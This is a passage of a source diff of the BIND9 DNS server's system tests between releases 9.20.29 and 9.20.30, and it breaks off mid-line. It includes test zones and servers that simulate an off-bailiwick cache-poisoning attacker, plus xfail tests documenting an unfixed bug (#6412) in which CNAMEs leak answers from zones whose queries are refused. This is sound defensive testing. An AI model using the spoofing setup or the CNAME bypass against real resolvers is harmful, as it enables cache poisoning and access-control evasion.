bind9-9.20.30/bin/tests/system/allow_query_on/ns1/allowed.nil.db --- bind9-9.20.29/bin/tests/system/allow_query_on/ns1/allowed.nil.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/allow_query_on/ns1/allowed.nil.db 2026-10-12 13:12:07.949890119 +0000 @@ -0,0 +1,12 @@ +$TTL 300 +@ IN SOA . a.root.servers.nil. ( + 2000042100 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum +) + +@ NS a.root-servers.nil. +dlz CNAME example.nil. +denied CNAME www.denied.nil. diff -Nru bind9-9.20.29/bin/tests/system/allow_query_on/ns1/denied.nil.db bind9-9.20.30/bin/tests/system/allow_query_on/ns1/denied.nil.db --- bind9-9.20.29/bin/tests/system/allow_query_on/ns1/denied.nil.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/allow_query_on/ns1/denied.nil.db 2026-10-12 13:12:07.949890119 +0000 @@ -0,0 +1,11 @@ +$TTL 300 +@ IN SOA . a.root.servers.nil. ( + 2000042100 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum +) + +@ NS a.root-servers.nil. +www A 10.53.0.99 diff -Nru bind9-9.20.29/bin/tests/system/allow_query_on/ns1/named.conf.j2 bind9-9.20.30/bin/tests/system/allow_query_on/ns1/named.conf.j2 --- bind9-9.20.29/bin/tests/system/allow_query_on/ns1/named.conf.j2 2026-09-11 19:41:01.081320906 +0000 +++ bind9-9.20.30/bin/tests/system/allow_query_on/ns1/named.conf.j2 2026-10-12 13:12:07.949890119 +0000 @@ -21,6 +21,21 @@ }; }; +view "vredirect2" { + match-clients { 10.53.0.5; }; + zone "." { + type primary; + file "root.db"; + }; + + zone "." { + type redirect; + file "redirect.db"; + allow-query { any; }; + allow-query-on { 10.53.0.1; }; + }; +}; + view "vdlz1" { match-clients { 10.53.0.2; }; dlz other { @@ -33,6 +48,12 @@ type primary; file "root.db"; }; + + zone "allowed.nil" { + type primary; + file "allowed.nil.db"; + allow-query { any; }; + }; }; view "vdlz2" { @@ -57,8 +78,31 @@ }; allow-query { any; }; allow-query-on { 10.53.0.1; }; + minimal-responses yes; zone "." { type primary; file "root.db"; }; }; + +view "vzone" { + match-clients { 10.53.0.6; }; + recursion yes; + allow-recursion { any; }; + zone "." { + type primary; + file "root.db"; + }; + + zone "allowed.nil" { + type primary; + file "allowed.nil.db"; + allow-query { any; }; + }; + + zone "denied.nil" { + type primary; + file "denied.nil.db"; + allow-query { none; }; + }; +}; diff -Nru bind9-9.20.29/bin/tests/system/allow_query_on/tests_allow_query_on.py bind9-9.20.30/bin/tests/system/allow_query_on/tests_allow_query_on.py --- bind9-9.20.29/bin/tests/system/allow_query_on/tests_allow_query_on.py 2026-09-11 19:41:01.081320906 +0000 +++ bind9-9.20.30/bin/tests/system/allow_query_on/tests_allow_query_on.py 2026-10-12 13:12:07.949890119 +0000 @@ -3,14 +3,15 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. from dns.rcode import NOERROR, NXDOMAIN, REFUSED -from pytest import mark +from dns.rdatatype import CNAME +from pytest import mark, xfail import isctest @@ -20,9 +21,11 @@ [ ("a.root-servers.nil", "A", "10.53.0.1", NOERROR), ("foo.", "A", "10.53.0.1", NXDOMAIN), + ("foo.", "A", "10.53.0.5", NOERROR), ("example.nil", "SOA", "10.53.0.2", REFUSED), ("example.nil", "SOA", "10.53.0.3", REFUSED), ("example.nil", "SOA", "10.53.0.4", NOERROR), + ("www.denied.nil", "A", "10.53.0.6", REFUSED), ], ) def test_allow_query_on(ns1, qname, qtype, srcip, rcode): @@ -32,3 +35,25 @@ if qname == "example.nil" and rcode == NOERROR: assert res.answer isctest.check.aaflag(res) + assert not res.authority + + +@mark.parametrize("rd", [False, True]) +def test_cname_into_refused_dlz(ns1, rd): + msg = isctest.query.create("dlz.allowed.nil", "A", rd=rd) + res = isctest.query.udp(msg, ns1.ip, source="10.53.0.2") + assert [rrset.rdtype for rrset in res.answer] == [CNAME] + # GL #6412: should be REFUSED. Fix test failure once the bug is fixed. + isctest.check.noerror(res) + xfail("bug #6412") + isctest.check.refused(res) + + +def test_cname_into_refused_zone(ns1): + msg = isctest.query.create("denied.allowed.nil", "A") + res = isctest.query.udp(msg, ns1.ip, source="10.53.0.6") + assert [rrset.rdtype for rrset in res.answer] == [CNAME] + # GL #6412: should be REFUSED. Fix test failure once the bug is fixed. + isctest.check.noerror(res) + xfail("bug #6412") + isctest.check.refused(res) diff -Nru bind9-9.20.29/bin/tests/system/ans.py bind9-9.20.30/bin/tests/system/ans.py --- bind9-9.20.29/bin/tests/system/ans.py 2026-09-11 19:41:01.081320906 +0000 +++ bind9-9.20.30/bin/tests/system/ans.py 2026-10-12 13:12:07.950890140 +0000 @@ -1,15 +1,15 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. +""" This is a bare-bones DNS server that only serves data from zone files. It is meant to be used as a replacement for full-blown named instances in system tests when a given server is only required to return zone-based data. diff -Nru bind9-9.20.29/bin/tests/system/auth/tests_sh_auth.py bind9-9.20.30/bin/tests/system/auth/tests_sh_auth.py --- bind9-9.20.29/bin/tests/system/auth/tests_sh_auth.py 2026-09-11 19:41:01.082320930 +0000 +++ bind9-9.20.30/bin/tests/system/auth/tests_sh_auth.py 2026-10-12 13:12:07.950890140 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/authsock.pl bind9-9.20.30/bin/tests/system/authsock.pl --- bind9-9.20.29/bin/tests/system/authsock.pl 2026-09-11 19:41:01.082320930 +0000 +++ bind9-9.20.30/bin/tests/system/authsock.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,94 +0,0 @@ -#!/usr/bin/env perl - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -# test the update-policy external protocol - -require 5.6.0; - -use IO::File; -use IO::Socket::UNIX; -use Getopt::Long; - -my $path; -my $typeallowed = "A"; -my $pidfile = "authsock.pid"; -my $timeout = 0; - -GetOptions("path=s" => \$path, - "type=s" => \$typeallowed, - "pidfile=s" => \$pidfile, - "timeout=i" => \$timeout); - -STDOUT->autoflush(1); - -if (!defined($path)) { - print("Usage: authsock.pl --path= --type=type --pidfile=pidfile\n"); - exit(1); -} - -unlink($path); -my $server = IO::Socket::UNIX->new(Local => $path, Type => SOCK_STREAM, Listen => 8) or - die "unable to create socket $path"; -chmod 0777, $path; - -# setup our pidfile -open(my $pid,">",$pidfile) - or die "unable to open pidfile $pidfile"; -print $pid "$$\n"; -close($pid); - -if ($timeout != 0) { - # die after the given timeout - alarm($timeout); -} - -while (my $client = $server->accept()) { - $client->recv(my $buf, 8, 0); - my ($version, $req_len) = unpack('N N', $buf); - - if ($version != 1 || $req_len < 17) { - printf("Badly formatted request\n"); - $client->send(pack('N', 2)); - next; - } - - $client->recv(my $buf, $req_len - 8, 0); - - my ($signer, - $name, - $addr, - $type, - $key, - $key_data) = unpack('Z* Z* Z* Z* Z* N/a', $buf); - - if ($req_len != length($buf)+8) { - printf("Length mismatch %u %u\n", $req_len, length($buf)+8); - $client->send(pack('N', 2)); - next; - } - - printf("version=%u signer=%s name=%s addr=%s type=%s key=%s key_data_len=%u\n", - $version, $signer, $name, $addr, $type, $key, length($key_data)); - - my $result; - if ($typeallowed eq $type) { - $result = 1; - printf("allowed type %s == %s\n", $type, $typeallowed); - } else { - printf("disallowed type %s != %s\n", $type, $typeallowed); - $result = 0; - } - - $reply = pack('N', $result); - $client->send($reply); -} diff -Nru bind9-9.20.29/bin/tests/system/autosign/tests.sh bind9-9.20.30/bin/tests/system/autosign/tests.sh --- bind9-9.20.29/bin/tests/system/autosign/tests.sh 2026-09-11 19:41:01.087321051 +0000 +++ bind9-9.20.30/bin/tests/system/autosign/tests.sh 2026-10-12 13:12:07.955890247 +0000 @@ -30,14 +30,20 @@ echo "-- $@ --" $DIG $DIGOPTS +nodnssec +short @$2 -t ${4:-type65534} $1 | cut -f3 -d' ' \ | while read record; do - $PERL -e 'my $rdata = pack("H*", @ARGV[0]); - die "invalid record" unless length($rdata) == 5; - my ($alg, $key, $remove, $complete) = unpack("CnCC", $rdata); - my $action = "signing"; - $action = "removing" if $remove; - my $state = " (incomplete)"; - $state = " (complete)" if $complete; - print ("$action: alg: $alg, key: $key$state\n");' $record + $PYTHON - "$record" <<'EOF' +import struct +import sys + +rdata = bytes.fromhex(sys.argv[1]) +if len(rdata) != 5: + sys.exit(f"invalid signing record: {len(rdata)} bytes (expected 5)") + +alg, keyid, remove, complete = struct.unpack_from(">BHBB", rdata) + +action = "removing" if remove else "signing" +state = "complete" if complete else "incomplete" +print(f"{action}: alg: {alg}, key: {keyid} ({state})") +EOF done } @@ -838,7 +844,7 @@ status=$((status + ret)) echo_i "preparing ZSK roll" -starttime=$($PERL -e 'print time(), "\n";') +starttime=$(date +%s) oldfile=$(cat active.key) oldid=$(keyfile_to_key_id "$(cat active.key)") newfile=$(cat standby.key) @@ -1015,7 +1021,7 @@ # Work out how long we need to sleep. Allow 4 seconds for the records # to be removed. # -now=$($PERL -e 'print time(), "\n";') +now=$(date +%s) sleep=$((starttime + 29 - now)) case $sleep in -* | 0) ;; diff -Nru bind9-9.20.29/bin/tests/system/autosign/tests_sh_autosign.py bind9-9.20.30/bin/tests/system/autosign/tests_sh_autosign.py --- bind9-9.20.29/bin/tests/system/autosign/tests_sh_autosign.py 2026-09-11 19:41:01.087321051 +0000 +++ bind9-9.20.30/bin/tests/system/autosign/tests_sh_autosign.py 2026-10-12 13:12:07.955890247 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans1/ans.py bind9-9.20.30/bin/tests/system/bailiwick/ans1/ans.py --- bind9-9.20.29/bin/tests/system/bailiwick/ans1/ans.py 2026-09-11 19:41:01.087321051 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans1/ans.py 2026-10-12 13:12:07.955890247 +0000 @@ -1,22 +1,21 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator import dns.rdatatype import dns.rrset -from isctest.asyncserver import DnsResponseSend, QueryContext, ResponseAction +from isctest.asyncserver import QueryContext +from isctest.asyncserver.actions import DnsResponseSend from ..bailiwick_ans import ResponseSpoofer, spoofing_server @@ -30,7 +29,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: response = qctx.prepare_new_response(with_zone_data=False) txt_rrset = dns.rrset.from_text( diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans1/root.db bind9-9.20.30/bin/tests/system/bailiwick/ans1/root.db --- bind9-9.20.29/bin/tests/system/bailiwick/ans1/root.db 2026-09-11 19:41:01.087321051 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans1/root.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,24 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -$ORIGIN . -$TTL 3600 -. SOA . . 0 0 0 0 3600 -. NS a.root-servers.nil. -a.root-servers.nil. A 10.53.0.1 - -; queries should go here ... unless the attack succeeded -victim. NS ns.victim. -ns.victim. A 10.53.0.2 - -; no query should go here -attacker. NS ns.attacker. -ns.attacker. A 10.53.0.3 diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans1/zones/root.db bind9-9.20.30/bin/tests/system/bailiwick/ans1/zones/root.db --- bind9-9.20.29/bin/tests/system/bailiwick/ans1/zones/root.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans1/zones/root.db 2026-10-12 13:12:07.956890268 +0000 @@ -0,0 +1,24 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$ORIGIN . +$TTL 3600 +. SOA . . 0 0 0 0 3600 +. NS a.root-servers.nil. +a.root-servers.nil. A 10.53.0.1 + +; queries should go here ... unless the attack succeeded +victim. NS ns.victim. +ns.victim. A 10.53.0.2 + +; no query should go here +attacker. NS ns.attacker. +ns.attacker. A 10.53.0.3 diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans2/ans.py bind9-9.20.30/bin/tests/system/bailiwick/ans2/ans.py --- bind9-9.20.29/bin/tests/system/bailiwick/ans2/ans.py 2026-09-11 19:41:01.087321051 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans2/ans.py 2026-10-12 13:12:07.956890268 +0000 @@ -1,22 +1,21 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator import dns.rdatatype import dns.rrset -from isctest.asyncserver import DnsResponseSend, QueryContext, ResponseAction +from isctest.asyncserver import QueryContext +from isctest.asyncserver.actions import DnsResponseSend from ..bailiwick_ans import ResponseSpoofer, spoofing_server @@ -30,7 +29,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: response = qctx.prepare_new_response(with_zone_data=False) txt_rrset = dns.rrset.from_text( @@ -56,7 +55,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: response = qctx.prepare_new_response(with_zone_data=False) ns_rrset = dns.rrset.from_text( @@ -78,7 +77,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: response = qctx.prepare_new_response(with_zone_data=False) cname_rrset = dns.rrset.from_text( diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans2/victim.db bind9-9.20.30/bin/tests/system/bailiwick/ans2/victim.db --- bind9-9.20.29/bin/tests/system/bailiwick/ans2/victim.db 2026-09-11 19:41:01.088321075 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans2/victim.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,17 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -$TTL 3600 -@ SOA ns.victim. . 0 0 0 0 3600 -@ NS ns -ns A 10.53.0.2 -prime TXT "this record is used for priming the cache of the targeted resolver" -canary TXT "correct answer from the domain under attack" diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans2/zones/victim.db bind9-9.20.30/bin/tests/system/bailiwick/ans2/zones/victim.db --- bind9-9.20.29/bin/tests/system/bailiwick/ans2/zones/victim.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans2/zones/victim.db 2026-10-12 13:12:07.956890268 +0000 @@ -0,0 +1,17 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 3600 +@ SOA ns.victim. . 0 0 0 0 3600 +@ NS ns +ns A 10.53.0.2 +prime TXT "this record is used for priming the cache of the targeted resolver" +canary TXT "correct answer from the domain under attack" diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans3/ans.py bind9-9.20.30/bin/tests/system/bailiwick/ans3/ans.py --- bind9-9.20.29/bin/tests/system/bailiwick/ans3/ans.py 2026-09-11 19:41:01.081320906 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans3/ans.py 2026-10-12 13:12:07.950890140 +0000 @@ -1,15 +1,15 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. +""" This is a bare-bones DNS server that only serves data from zone files. It is meant to be used as a replacement for full-blown named instances in system tests when a given server is only required to return zone-based data. diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans3/attacker.db bind9-9.20.30/bin/tests/system/bailiwick/ans3/attacker.db --- bind9-9.20.29/bin/tests/system/bailiwick/ans3/attacker.db 2026-09-11 19:41:01.088321075 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans3/attacker.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,17 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -$TTL 3600 -@ SOA ns.attacker. . 0 0 0 0 3600 -@ NS ns -ns A 10.53.0.3 -only-if-hijacked TXT "this record only exists in the hijacked version of the zone" -canary TXT "fake answer from attacker" diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans3/victim.db bind9-9.20.30/bin/tests/system/bailiwick/ans3/victim.db --- bind9-9.20.29/bin/tests/system/bailiwick/ans3/victim.db 2026-09-11 19:41:01.088321075 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans3/victim.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,16 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -$TTL 3600 -@ SOA ns.attacker. . 0 0 0 0 3600 -@ NS ns.attacker. -only-if-hijacked TXT "this record only exists in the hijacked version of the zone" -canary TXT "fake answer from attacker's auth" diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans3/zones/attacker.db bind9-9.20.30/bin/tests/system/bailiwick/ans3/zones/attacker.db --- bind9-9.20.29/bin/tests/system/bailiwick/ans3/zones/attacker.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans3/zones/attacker.db 2026-10-12 13:12:07.956890268 +0000 @@ -0,0 +1,17 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 3600 +@ SOA ns.attacker. . 0 0 0 0 3600 +@ NS ns +ns A 10.53.0.3 +only-if-hijacked TXT "this record only exists in the hijacked version of the zone" +canary TXT "fake answer from attacker" diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/ans3/zones/victim.db bind9-9.20.30/bin/tests/system/bailiwick/ans3/zones/victim.db --- bind9-9.20.29/bin/tests/system/bailiwick/ans3/zones/victim.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/ans3/zones/victim.db 2026-10-12 13:12:07.956890268 +0000 @@ -0,0 +1,16 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 3600 +@ SOA ns.attacker. . 0 0 0 0 3600 +@ NS ns.attacker. +only-if-hijacked TXT "this record only exists in the hijacked version of the zone" +canary TXT "fake answer from attacker's auth" diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/bailiwick_ans.py bind9-9.20.30/bin/tests/system/bailiwick/bailiwick_ans.py --- bind9-9.20.29/bin/tests/system/bailiwick/bailiwick_ans.py 2026-09-11 19:41:01.088321075 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/bailiwick_ans.py 2026-10-12 13:12:07.956890268 +0000 @@ -1,19 +1,16 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import abc -import dns.name import dns.rcode import dns.rdatatype @@ -24,6 +21,7 @@ QueryContext, ResponseHandler, ) +from isctest.asyncserver.matchers import Protocol, Qname, Qtype class ResponseSpoofer(ResponseHandler, abc.ABC): @@ -46,11 +44,9 @@ def qname(self) -> str: raise NotImplementedError - def match(self, qctx: QueryContext) -> bool: - return ( - qctx.qname == dns.name.from_text(self.qname) - and qctx.qtype == dns.rdatatype.TXT - and qctx.protocol == DnsProtocol.UDP + def __init__(self) -> None: + self.matcher = ( + Qname(self.qname) & Qtype(dns.rdatatype.TXT) & Protocol(DnsProtocol.UDP) ) diff -Nru bind9-9.20.29/bin/tests/system/bailiwick/tests_bailiwick.py bind9-9.20.30/bin/tests/system/bailiwick/tests_bailiwick.py --- bind9-9.20.29/bin/tests/system/bailiwick/tests_bailiwick.py 2026-09-11 19:41:01.088321075 +0000 +++ bind9-9.20.30/bin/tests/system/bailiwick/tests_bailiwick.py 2026-10-12 13:12:07.956890268 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - import time import dns.message diff -Nru bind9-9.20.29/bin/tests/system/builtin/tests_sh_builtin.py bind9-9.20.30/bin/tests/system/builtin/tests_sh_builtin.py --- bind9-9.20.29/bin/tests/system/builtin/tests_sh_builtin.py 2026-09-11 19:41:01.089321099 +0000 +++ bind9-9.20.30/bin/tests/system/builtin/tests_sh_builtin.py 2026-10-12 13:12:07.957890290 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/cacheclean/tests.sh bind9-9.20.30/bin/tests/system/cacheclean/tests.sh --- bind9-9.20.29/bin/tests/system/cacheclean/tests.sh 2026-09-11 19:41:01.090321124 +0000 +++ bind9-9.20.30/bin/tests/system/cacheclean/tests.sh 2026-10-12 13:12:07.959890332 +0000 @@ -82,15 +82,11 @@ filter_tree() { tree="$1" file="$2" - perl -n -e ' - next if /^;/; - if (/'"$tree"'/ || (/^\t/ && $print)) { - $print = 1; - } else { - $print = 0; - } - print if $print; - ' "$file" + awk -v tree="$tree" ' + /^;/ { next; } + { p = ($0 ~ tree || (/^\t/ && p)) ? 1 : 0; } + p { print; } + ' "$file" } n=$((n + 1)) diff -Nru bind9-9.20.29/bin/tests/system/cacheclean/tests_sh_cacheclean.py bind9-9.20.30/bin/tests/system/cacheclean/tests_sh_cacheclean.py --- bind9-9.20.29/bin/tests/system/cacheclean/tests_sh_cacheclean.py 2026-09-11 19:41:01.090321124 +0000 +++ bind9-9.20.30/bin/tests/system/cacheclean/tests_sh_cacheclean.py 2026-10-12 13:12:07.959890332 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/camp/tests_sh_camp.py bind9-9.20.30/bin/tests/system/camp/tests_sh_camp.py --- bind9-9.20.29/bin/tests/system/camp/tests_sh_camp.py 2026-09-11 19:41:01.091321147 +0000 +++ bind9-9.20.30/bin/tests/system/camp/tests_sh_camp.py 2026-10-12 13:12:07.960890354 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -14,7 +14,6 @@ pytestmark = pytest.mark.extra_artifacts( [ "dig.out*", - "ans*/ans.run", "ns*/*.jnl", "ns*/*tld*.db", ] diff -Nru bind9-9.20.29/bin/tests/system/cap_glues/tests_cap_glues.py bind9-9.20.30/bin/tests/system/cap_glues/tests_cap_glues.py --- 